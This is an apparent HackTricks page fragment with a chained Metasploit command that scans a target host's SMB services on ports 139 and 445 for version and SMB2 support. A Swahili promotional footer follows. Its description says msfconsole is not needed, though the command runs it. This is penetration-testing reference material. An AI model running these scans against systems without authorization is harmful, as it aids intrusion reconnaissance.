Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Njia nyingine za kusaidia HackTricks:
|
||
|
||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||
|
||
</details>
|